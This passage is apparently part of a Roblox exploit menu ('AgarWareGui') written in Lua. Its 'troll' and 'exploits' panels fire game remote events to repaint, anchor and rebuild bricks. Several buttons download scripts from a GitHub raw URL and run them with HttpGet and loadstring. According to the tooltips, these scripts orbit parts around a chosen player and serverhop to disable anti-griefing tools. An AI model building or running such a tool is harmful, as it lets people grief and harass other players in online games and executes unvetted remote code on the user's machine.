local filtered = {}
for _, mat in ipairs(MATERIALS) do
if filter == "" or mat:lower():find(filter:lower(), 1, true) then
table.insert(filtered, mat)
end
end
for i, mat in ipairs(filtered) do
local isSelected = selectedMaterial == mat
local row = Instance.new("Frame")
row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
row.BackgroundColor3 = isSelected and HOVER or BG
row.BorderSizePixel = 0
row.LayoutOrder = i
row.ZIndex = 1001
row.Parent = scrollFrame
local nameLabel = Instance.new("TextLabel")
nameLabel.Size = UDim2.new(1, -12, 1, 0)
nameLabel.Position = UDim2.new(0, 6, 0, 0)
nameLabel.BackgroundTransparency = 1
nameLabel.Text = mat
nameLabel.TextColor3 = isSelected and BLUE or WHITE
nameLabel.TextSize = 14
nameLabel.Font = Enum.Font.Code
nameLabel.TextXAlignment = Enum.TextXAlignment.Left
nameLabel.TextTruncate = Enum.TextTruncate.AtEnd
nameLabel.ZIndex = 1002
nameLabel.Parent = row
local rowBtn = Instance.new("TextButton")
rowBtn.Size = UDim2.new(1, 0, 1, 0)
rowBtn.BackgroundTransparency = 1
rowBtn.Text = ""
rowBtn.ZIndex = 1003
rowBtn.Parent = row
rowBtn.MouseEnter:Connect(function()
if selectedMaterial ~= mat then
row.BackgroundColor3 = HOVER
end
end)
rowBtn.MouseLeave:Connect(function()
if selectedMaterial ~= mat then
row.BackgroundColor3 = BG
end
end)
rowBtn.MouseButton1Click:Connect(function()
selectedMaterial = mat
MaterialRepRow:SetAttribute("SelectedMaterial", mat)
mainLabel.Text = mat
isOpen = false
panel.Visible = false
mainLabel.Visible = true
mainArrow.Visible = true
end)
end
updatePanelSize(#filtered)
end
local function openDropdown()
isOpen = true
mainLabel.Visible = false
mainArrow.Visible = false
repeat task.wait() until MaterialRepDropdown.AbsoluteSize.X > 0
local absPos = MaterialRepDropdown.AbsolutePosition
local absSize = MaterialRepDropdown.AbsoluteSize
panel.Position = UDim2.new(0, absPos.X, 0, absPos.Y + absSize.Y)
panel.Visible = true
searchBox.Text = ""
buildList("")
end
local function closeDropdown()
isOpen = false
panel.Visible = false
mainLabel.Visible = true
mainArrow.Visible = true
end
MaterialRepDropdown.MouseButton1Click:Connect(function()
if isOpen then
closeDropdown()
else
openDropdown()
end
end)
searchArrow.MouseButton1Click:Connect(closeDropdown)
searchBox:GetPropertyChangedSignal("Text"):Connect(function()
buildList(searchBox.Text)
end)
UserInputService.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then
local mousePos = input.Position
local panelPos = panel.AbsolutePosition
local panelSize = panel.AbsoluteSize
local btnPos = MaterialRepDropdown.AbsolutePosition
local btnSize = MaterialRepDropdown.AbsoluteSize
local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X
and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y
local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X
and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y
if not inPanel and not inBtn then
closeDropdown()
end
end
end)
MaterialRepRow:SetAttribute("SelectedMaterial", "Smooth")
end;
task.spawn(C_14d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.ColorRepRow.ColorRepButton.ColorRepButtonScript
local function C_152()
local script = G2L["152"];
local ColorRepButton = script.Parent
local ColorRepRow = ColorRepButton.Parent
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- Find ColorPicker in ScreenGui
local function getColorPicker()
local screenGui = LocalPlayer.PlayerGui:WaitForChild("AgarWareGui")
return screenGui:WaitForChild("ColorPicker")
end
local ColorPicker = getColorPicker()
local ColorPickerTitle = ColorPicker:WaitForChild("ColorPickerTitle")
local ColorSelect = ColorPicker:WaitForChild("ColorSelect")
local CloseColorPicker = ColorPicker:WaitForChild("CloseColorPicker")
local HEX = ColorPicker:WaitForChild("HEX")
-- Store the color when opening
local colorBeforeOpen = ColorRepButton.BackgroundColor3
-- ============================================================
-- OPEN COLOR PICKER
-- ============================================================
ColorRepButton.MouseButton1Click:Connect(function()
-- If already open for ColorRep, close it (act like X button)
if ColorPicker.Visible and ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then
ColorPicker.Visible = false
ColorPicker:SetAttribute("ActiveFor", "")
return
end
-- Store current color
colorBeforeOpen = ColorRepButton.BackgroundColor3
-- Set title
ColorPickerTitle.Text = "Block Color"
-- Set picker to current button color
local hex = string.format("#%02x%02x%02x",
math.floor(colorBeforeOpen.R * 255),
math.floor(colorBeforeOpen.G * 255),
math.floor(colorBeforeOpen.B * 255)
)
-- Wait for ColorPicker functions to be available
task.wait(0.1)
if _G.ColorPickerFunctions then
_G.ColorPickerFunctions.SetColor(hex)
_G.ColorPickerFunctions.Center() -- Center on first open
end
-- Show picker
ColorPicker.Visible = true
-- Mark this as active for ColorRep
ColorPicker:SetAttribute("ActiveFor", "ColorRep")
end)
-- ============================================================
-- SELECT COLOR (Update ColorRepButton)
-- ============================================================
ColorSelect.MouseButton1Click:Connect(function()
if ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then
-- Update ColorRepButton to selected color
ColorRepButton.BackgroundColor3 = ColorSelect.BackgroundColor3
-- Store in attribute for other scripts
ColorRepRow:SetAttribute("SelectedColor", ColorSelect.BackgroundColor3)
-- Hide picker
ColorPicker.Visible = false
ColorPicker:SetAttribute("ActiveFor", "")
end
end)
-- ============================================================
-- CLOSE (Keep old color)
-- ============================================================
CloseColorPicker.MouseButton1Click:Connect(function()
if ColorPicker:GetAttribute("ActiveFor") == "ColorRep" then
-- Don't update ColorRepButton, keep old color
ColorPicker.Visible = false
ColorPicker:SetAttribute("ActiveFor", "")
end
end)
end;
task.spawn(C_152);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayColorRepRow.SprayColorRepButton.SprayColorRepButtonScript
local function C_156()
local script = G2L["156"];
local SprayColorRepButton = script.Parent
local SprayColorRepRow = SprayColorRepButton.Parent
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- Find ColorPicker in ScreenGui
local function getColorPicker()
local screenGui = LocalPlayer.PlayerGui:WaitForChild("AgarWareGui")
return screenGui:WaitForChild("ColorPicker")
end
local ColorPicker = getColorPicker()
local ColorPickerTitle = ColorPicker:WaitForChild("ColorPickerTitle")
local ColorSelect = ColorPicker:WaitForChild("ColorSelect")
local CloseColorPicker = ColorPicker:WaitForChild("CloseColorPicker")
local HEX = ColorPicker:WaitForChild("HEX")
-- Store the color when opening
local colorBeforeOpen = SprayColorRepButton.BackgroundColor3
-- ============================================================
-- OPEN COLOR PICKER
-- ============================================================
SprayColorRepButton.MouseButton1Click:Connect(function()
-- If already open for SprayColorRep, close it (act like X button)
if ColorPicker.Visible and ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then
ColorPicker.Visible = false
ColorPicker:SetAttribute("ActiveFor", "")
return
end
-- Store current color
colorBeforeOpen = SprayColorRepButton.BackgroundColor3
-- Set title
ColorPickerTitle.Text = "Spray Color"
-- Set picker to current button color
local hex = string.format("#%02x%02x%02x",
math.floor(colorBeforeOpen.R * 255),
math.floor(colorBeforeOpen.G * 255),
math.floor(colorBeforeOpen.B * 255)
)
-- Wait for ColorPicker functions to be available
task.wait(0.1)
if _G.ColorPickerFunctions then
_G.ColorPickerFunctions.SetColor(hex)
_G.ColorPickerFunctions.Center() -- Center on first open
end
-- Show picker
ColorPicker.Visible = true
-- Mark this as active for SprayColorRep
ColorPicker:SetAttribute("ActiveFor", "SprayColorRep")
end)
-- ============================================================
-- SELECT COLOR (Update SprayColorRepButton)
-- ============================================================
ColorSelect.MouseButton1Click:Connect(function()
if ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then
-- Update SprayColorRepButton to selected color
SprayColorRepButton.BackgroundColor3 = ColorSelect.BackgroundColor3
-- Store in attribute for other scripts to use
SprayColorRepRow:SetAttribute("SelectedColor", ColorSelect.BackgroundColor3)
-- Hide picker
ColorPicker.Visible = false
ColorPicker:SetAttribute("ActiveFor", "")
end
end)
-- ============================================================
-- CLOSE (Keep old color)
-- ============================================================
CloseColorPicker.MouseButton1Click:Connect(function()
if ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then
-- Don't update SprayColorRepButton, keep old color
ColorPicker.Visible = false
ColorPicker:SetAttribute("ActiveFor", "")
end
end)
-- ============================================================
-- INITIALIZE - Set default to white
-- ============================================================
SprayColorRepButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
SprayColorRepRow:SetAttribute("SelectedColor", Color3.fromRGB(255, 255, 255))
end;
task.spawn(C_156);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepScript
local function C_158()
local script = G2L["158"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local DefaultRepRow = script.Parent
local DefaultRepButton = DefaultRepRow:WaitForChild("DefaultRepButton")
local originalText = DefaultRepButton.Text
local isApplying = false
-- ============================================================
-- GET TOOLS AND EVENTS
-- ============================================================
local function getPaintTool()
return LocalPlayer.Backpack:FindFirstChild("Paint")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
end
local function getPaintEvent()
local tool = getPaintTool()
if tool then
return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
end
return nil
end
local function getRepBrick()
local repStorage = game:GetService("ReplicatedStorage")
return repStorage:FindFirstChild("Brick")
end
-- ============================================================
-- EQUIP PAINT TOOL
-- ============================================================
local function equipPaintTool()
local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint")
if not paintTool then
return false, "Paint tool not found in backpack"
end
local character = LocalPlayer.Character
if not character then
return false, "No character"
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then
return false, "No humanoid"
end
-- Equip Paint tool if not already equipped
if not character:FindFirstChild("Paint") then
humanoid:EquipTool(paintTool)
task.wait(0.1)
end
return true
end
-- ============================================================
-- APPLY DEFAULT SETTINGS
-- ============================================================
local function applyDefault()
if isApplying then return end
isApplying = true
DefaultRepButton.Text = "Applying..."
task.spawn(function()
local success, errorMsg = pcall(function()
-- Default settings
local defaultColor = Color3.fromRGB(192, 192, 192)
local defaultMaterial = "plastic"
-- Get rep brick
local repBrick = getRepBrick()
if not repBrick then
error("Rep brick not found in ReplicatedStorage")
end
-- Save currently equipped tool
local character = LocalPlayer.Character
if not character then
error("No character")
end
local previousTool = character:FindFirstChildOfClass("Tool")
local wasPaintEquipped = previousTool and previousTool.Name == "Paint"
-- Equip paint tool if not already equipped
if not wasPaintEquipped then
local equipped, equipError = equipPaintTool()
if not equipped then
error(equipError)
end
end
-- Get paint event
local paintEvent = getPaintEvent()
if not paintEvent then
error("Paint event not found")
end
-- Paint all 6 sides with default color
local sides = {
Enum.NormalId.Front,
Enum.NormalId.Right,
Enum.NormalId.Back,
Enum.NormalId.Left,
Enum.NormalId.Top,
Enum.NormalId.Bottom
}
for i, side in ipairs(sides) do
pcall(function()
paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", defaultColor, "", "")
end)
task.wait(0.05)
end
-- Apply default material (plastic)
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", defaultColor, defaultMaterial, "")
end)
task.wait(0.1)
-- Clear all sprays on all 6 sides
for i, side in ipairs(sides) do
for retry = 1, 2 do
pcall(function()
paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", defaultColor, "spray", "")
end)
task.wait(0.03)
end
end
-- Anchor the brick
local isCurrentlyAnchored = repBrick.Anchored
if not isCurrentlyAnchored then
-- Clear spray on Top side first
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", defaultColor, "spray", "")
end)
task.wait(0.1)
-- Anchor it
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
end)
task.wait(0.1)
end
-- Restore previous tool or unequip
if not wasPaintEquipped then
local humanoid = character:FindFirstChild("Humanoid")
if humanoid then
humanoid:UnequipTools()
task.wait(0.1)
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
humanoid:EquipTool(previousTool)
end
end
end
end)
isApplying = false
if success then
DefaultRepButton.Text = "Resetted colors!"
task.wait(2)
else
DefaultRepButton.Text = "Paint tool not found!"
warn("[DefaultRep] Error:", errorMsg)
task.wait(2)
end
DefaultRepButton.Text = originalText
end)
end
-- ============================================================
-- BUTTON CLICK
-- ============================================================
DefaultRepButton.MouseButton1Click:Connect(applyDefault)
end;
task.spawn(C_158);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepScript
local function C_15e()
local script = G2L["15e"];
local RichTextRepRow = script.Parent
local RichTextRepTickBox = RichTextRepRow:WaitForChild("RichTextRepTickBox")
local function getAccentColor()
local RepGroup = RichTextRepRow.Parent
local a = RepGroup:FindFirstChild("RepAccentColor")
return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
end
-- State
local isEnabled = true -- Default ON
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
RichTextRepTickBox.BackgroundColor3 = getAccentColor()
else
RichTextRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
-- Store in attribute for SprayRep to read
RichTextRepRow:SetAttribute("RichTextEnabled", isEnabled)
end
-- ============================================================
-- CLICK HANDLER
-- ============================================================
RichTextRepTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- INITIALIZE - Default ON
-- ============================================================
RichTextRepTickBox.BackgroundColor3 = getAccentColor()
RichTextRepRow:SetAttribute("RichTextEnabled", true)
print("[RichTextRep] ON by default")
end;
task.spawn(C_15e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickScript
local function C_162()
local script = G2L["162"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local RestoreBrickRow = script.Parent
local RestoreBrickButton = RestoreBrickRow:WaitForChild("RestoreBrickButton")
local RestoreBrickHelp = RestoreBrickRow:WaitForChild("RestoreBrickHelp")
local originalText = RestoreBrickButton.Text
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return Players.LocalPlayer:WaitForChild("PlayerGui"):FindFirstChildOfClass("ScreenGui")
end
local screenGui = getScreenGui()
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = screenGui
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Restores building by placing a block at where you are. You must have Build and must be in the server before Bkit gets disabled. If you joined after Bkit got disabled, there has to be an existing block in the server."
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
RestoreBrickHelp.MouseEnter:Connect(function()
local abs = RestoreBrickHelp.AbsolutePosition
local size = RestoreBrickHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
RestoreBrickHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
if getgenv().brickcollection == nil then
getgenv().brickcollection = {}
end
local brickname = "Brick"
local cfolder = workspace:FindFirstChild("Bricks") or workspace:FindFirstChild("Blocks")
local function dbc(b)
if b.Name ~= brickname then
return
end
if not table.find(getgenv().brickcollection, b) then
table.insert(getgenv().brickcollection, 1, b)
end
end
if cfolder then
cfolder.DescendantAdded:Connect(dbc)
for i,v in pairs(cfolder:GetDescendants()) do
dbc(v)
end
end
local function getplrpos()
return LocalPlayer.Character.HumanoidRootPart.Position
end
local function findtool(toolname)
for i,v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") and v.Name:find(toolname) then
return v
end
end
for i,v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") and v.Name:find(toolname) then
return v
end
end
return nil
end
local function equiptool(toolname)
local tool = findtool(toolname)
if tool and tool.Parent == LocalPlayer.Backpack then
tool.Parent = LocalPlayer.Character
end
return tool
end
local function restoreBrick()
local rs = game:GetService("ReplicatedStorage")
local ws = 0.235
if not cfolder then
cfolder = workspace:FindFirstChild("Bricks") or workspace:FindFirstChild("Blocks")
if not cfolder then
warn("Bricks/Blocks folder not found")
return false
end
end
if not rs:FindFirstChild(brickname) then
local brick = Instance.new("Part")
brick.Name = brickname
brick.Parent = rs
end
for i,v in pairs(LocalPlayer.Character:GetChildren()) do
if v:HasTag("The Chosen One by TomazDev") then
v.Script.Enabled = false
v.Script.Enabled = true
end
end
for i,v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:HasTag("The Chosen One by TomazDev") then
v.Script.Enabled = false
v.Script.Enabled = true
end
end
local currentlyEquipped = LocalPlayer.Character:FindFirstChildOfClass("Tool")
local buildtool = findtool("Build")
local painttool = findtool("Paint")
local shapetool = findtool("Shape")
if not buildtool then
warn("Build tool not found!")
return false, "Build tool not found!"
end
local toolsToEquip = {buildtool}
if painttool then
table.insert(toolsToEquip, painttool)
end
if shapetool then
table.insert(toolsToEquip, shapetool)
end
for _, tool in ipairs(toolsToEquip) do
if tool.Parent == LocalPlayer.Backpack then
tool.Parent = LocalPlayer.Character
end
end
task.wait(0.1)
if not currentlyEquipped or (currentlyEquipped.Name ~= buildtool.Name and (not painttool or currentlyEquipped.Name ~= painttool.Name) and (not shapetool or currentlyEquipped.Name ~= shapetool.Name)) then
for _, tool in ipairs(toolsToEquip) do
if tool.Parent == LocalPlayer.Character then
tool.Parent = LocalPlayer.Backpack
end
end
else
for _, tool in ipairs(toolsToEquip) do
if currentlyEquipped.Name ~= tool.Name and tool.Parent == LocalPlayer.Character then
tool.Parent = LocalPlayer.Backpack
end
end
end
task.wait(ws)
local currbc = {}
local ins = 1
for i,v in pairs(getgenv().brickcollection) do
if v ~= nil then
if v:GetFullName() ~= brickname and v.Name ~= "Debris" then
table.insert(currbc, 1, v)
ins += 1
else
table.insert(currbc, v)
if i%2 == 1 then
table.insert(currbc, v)
else
table.insert(currbc, ins, v)
end
end
else
table.remove(getgenv().brickcollection, table.find(getgenv().brickcollection, v))
end
end
if #currbc == 0 then
warn("No blocks found!")
return false, "No blocks found!"
end
local playerfolder = cfolder:FindFirstChild(LocalPlayer.Name)
if not playerfolder then
warn("Player folder not found")
return false
end
local block = nil
local beforeamt = #playerfolder:GetChildren()
for i,v in pairs(currbc) do
if v ~= nil and typeof(v) == "Instance" then
block = v
if buildtool:FindFirstChild("Script") and buildtool.Script:FindFirstChild("Event") then
buildtool.Script.Event:FireServer(
block,
Enum.NormalId.Top,
getplrpos(),
"detailed"
)
end
task.wait(ws)
if beforeamt < #playerfolder:GetChildren() then
break
end
else
table.remove(currbc, table.find(currbc, v))
end
end
task.wait(1)
block = playerfolder:FindFirstChildWhichIsA("BasePart")
if block then
block = playerfolder:GetChildren()[#playerfolder:GetChildren()]
if painttool then
if block.Material ~= Enum.Material.Plastic then
painttool.Script.Event:FireServer(
block,
Enum.NormalId.Top,
getplrpos(),
"material",
Color3.fromRGB(192,192,192),
"plastic",
""
)
task.wait(ws*2)
end
if not block.Anchored or block.CFrame - block.Position ~= CFrame.new() then
local l = tick()
repeat
if tick() > l then
l = tick()+(ws*2)
painttool.Script.Event:FireServer(
block,
Enum.NormalId.Top,
getplrpos(),
"both 🤝",
Color3.fromRGB(192,192,192),
"anchor",
""
)
end
task.wait()
until block.Anchored and block.CFrame - block.Position == CFrame.new()
end
end
if shapetool then
local blockpos = block.Position
blockpos = Vector3.new(blockpos.X%4, blockpos.Y%4, blockpos.Z%4)
blockpos = blockpos - Vector3.new(0.5, 0.5, 0.5)
for i=1, blockpos.X do
shapetool.Script.Event:FireServer(
block,
Enum.NormalId.Left,
block.Position,
"increase"
)
task.wait(0.15)
end
for i=1, 3-blockpos.X do
shapetool.Script.Event:FireServer(
block,
Enum.NormalId.Right,
block.Position,
"increase"
)
task.wait(0.15)
end
for i=1, blockpos.Y do
shapetool.Script.Event:FireServer(
block,
Enum.NormalId.Bottom,
block.Position,
"increase"
)
task.wait(0.15)
end
for i=1, 3-blockpos.Y do
shapetool.Script.Event:FireServer(
block,
Enum.NormalId.Top,
block.Position,
"increase"
)
task.wait(0.15)
end
for i=1, blockpos.Z do
shapetool.Script.Event:FireServer(
block,
Enum.NormalId.Front,
block.Position,
"increase"
)
task.wait(0.15)
end
for i=1, 3-blockpos.Z do
shapetool.Script.Event:FireServer(
block,
Enum.NormalId.Back,
block.Position,
"increase"
)
task.wait(0.15)
end
end
task.wait(0.5)
return true
else
warn("No block created")
return false
end
end
RestoreBrickButton.MouseButton1Click:Connect(function()
RestoreBrickButton.Text = "RESTORING..."
task.spawn(function()
local success, result = pcall(restoreBrick)
if success and result == true then
RestoreBrickButton.Text = "RESTORED!"
task.wait(3)
RestoreBrickButton.Text = originalText
elseif not success then
RestoreBrickButton.Text = "FAILED"
task.wait(3)
RestoreBrickButton.Text = originalText
elseif result == "Build tool not found!" then
RestoreBrickButton.Text = "NO BUILD TOOL!"
task.wait(3)
RestoreBrickButton.Text = originalText
elseif result == "No blocks found!" then
RestoreBrickButton.Text = "NO BLOCKS!"
task.wait(3)
RestoreBrickButton.Text = originalText
else
RestoreBrickButton.Text = "FAILED"
task.wait(3)
RestoreBrickButton.Text = originalText
end
end)
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_162);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsScript
local function C_166()
local script = G2L["166"];
local ExploitsGroup = script.Parent
local ExploitsMinimize = ExploitsGroup.ExploitsTitle.ExploitsMinimize
local function getRows()
local rows = {}
for _, child in ipairs(ExploitsGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = ExploitsGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
ExploitsMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
ExploitsGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
ExploitsMinimize.Text = "+"
else
ExploitsGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
ExploitsMinimize.Text = "-"
end
end)
end;
task.spawn(C_166);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNScript
local function C_16c()
local script = G2L["16c"];
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local UNRow = script.Parent
local UNButton = UNRow.UNButton
local UNHelp = UNRow.UNHelp
local originalText = UNButton.Text
local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/troll1"
-- Tooltip
local sg = getScreenGui()
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = sg
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = "So its basically the Unanchored Part Abuse by Mental but i edited it so that you can click a player and it would orbit them instead.\n\nAt the very top is a button to click a player. Set to none = no one selected. Set speed 2 or more if u want the blocks to orbit on a player anywhere u are standing"
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
UNHelp.MouseEnter:Connect(function()
local abs = UNHelp.AbsolutePosition
local size = UNHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
UNHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- Button
UNButton.MouseButton1Click:Connect(function()
UNButton.Text = "LOADING..."
task.spawn(function()
local success, err = pcall(function()
local code = game:HttpGet(SCRIPT_URL)
loadstring(code)()
end)
if success then
UNButton.Text = "SUCCESSFULLY EXECUTED"
task.wait(3)
UNButton.Text = originalText
else
UNButton.Text = "FAILED TO EXECUTE"
task.wait(3)
UNButton.Text = originalText
end
end)
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_16c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBScript
local function C_170()
local script = G2L["170"];
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local BBRow = script.Parent
local BBButton = BBRow.BBButton
local BBHelp = BBRow.BBHelp
local originalText = BBButton.Text
local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/bot1"
-- Tooltip
local sg = getScreenGui()
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = sg
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = "A script i made that automatically serverhops and disables bkit in that server made by me.\n\nExecuting it will start serverhopping as soon as you click execute. Joining a XL server will only target XL servers."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
BBHelp.MouseEnter:Connect(function()
local abs = BBHelp.AbsolutePosition
local size = BBHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
BBHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- Button
BBButton.MouseButton1Click:Connect(function()
BBButton.Text = "LOADING..."
task.spawn(function()
local success, err = pcall(function()
local code = game:HttpGet(SCRIPT_URL)
loadstring(code)()
end)
if success then
BBButton.Text = "SUCCESSFULLY EXECUTED"
task.wait(3)
BBButton.Text = originalText
else
BBButton.Text = "FAILED TO EXECUTE"
task.wait(3)
BBButton.Text = originalText
end
end)
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_170);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFScript
local function C_174()
local script = G2L["174"];
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local FFRow = script.Parent
local FFButton = FFRow.FFButton
local FFHelp = FFRow.FFHelp
local originalText = FFButton.Text
